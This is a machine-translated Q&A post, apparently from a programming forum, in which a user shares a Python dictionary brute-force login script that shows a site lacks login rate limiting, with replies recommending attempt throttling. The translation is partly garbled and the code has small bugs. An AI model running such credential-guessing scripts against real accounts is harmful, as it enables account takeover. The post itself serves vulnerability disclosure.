我正在做一個bot在一個開源項目網站的網站上簽名(不會提到任何名字),並且我注意到我的機器人沒有嘗試禁止最大登錄嘗試次數,無論我嘗試了多少次以不正確的憑據登錄。這個Python登錄幾乎不安全嗎?
def login(account,passwd):
r = requests.post("http://nottheprojectname.com/~~app/action.php",
data={'act': "login",
'name': account,
'pass': passwd,
'keyid': ""
})
return r.text
我用的是像上面顯示登錄的一個Python腳本,我決定做一個測試腳本演示帳戶何以是野蠻強迫。
import re
import requests
def dictionary_crack(account):
attempts = 0
with open('giant_PW_list.txt', 'r') as f:
for passwd in f:
resp = login(account, passwd)
if re.findall("loggedin\"\:[a-z]+",resp) == [u'loggedin":true']:
return account + ": " + passwd
else:
attempts += 1
print trys
else:
input("All login attemts on "+account+" failed")
我發現這個腳本到項目的管理員,他們駁回了它說這是行不通的,因爲登錄嘗試將放緩至預製棒。但是,我在我製作的測試帳戶上嘗試過這種方法,並且能夠在附近執行10,000次登錄嘗試,每分鐘執行一次,其中一個腳本正在運行。暴力攻擊的速度並不是很快,但它似乎並不顯得微不足道(特別是如果多個攻擊同時在同一個帳戶上同時使用順序字典進行)。
這一切都似乎荒謬,容易解決我。我沒有網絡安全方面的經驗,所以我認爲糾正對網絡安全領域知識更多的人比我更有衝突。
使這種蠻力方法「太慢」的正確方法是將登錄嘗試限制爲每秒一次。如果該網站的管理員沒有收聽,我建議與該網站的用戶交談,因爲如果(當)該網站遭到黑客攻擊時,他們的帳戶將會被入侵。 – TigerhawkT3
慢 - >太慢的瓶坯 - >執行它是一個比蠻力攻擊更多的字典... –
@ TigerhawkT3謝謝。我不需要自己重建系統(儘管由於它是開源的,我可以幫助解決它),我希望能夠向站點管理員顯示外部引用,以便他們會傾聽我的意見。 –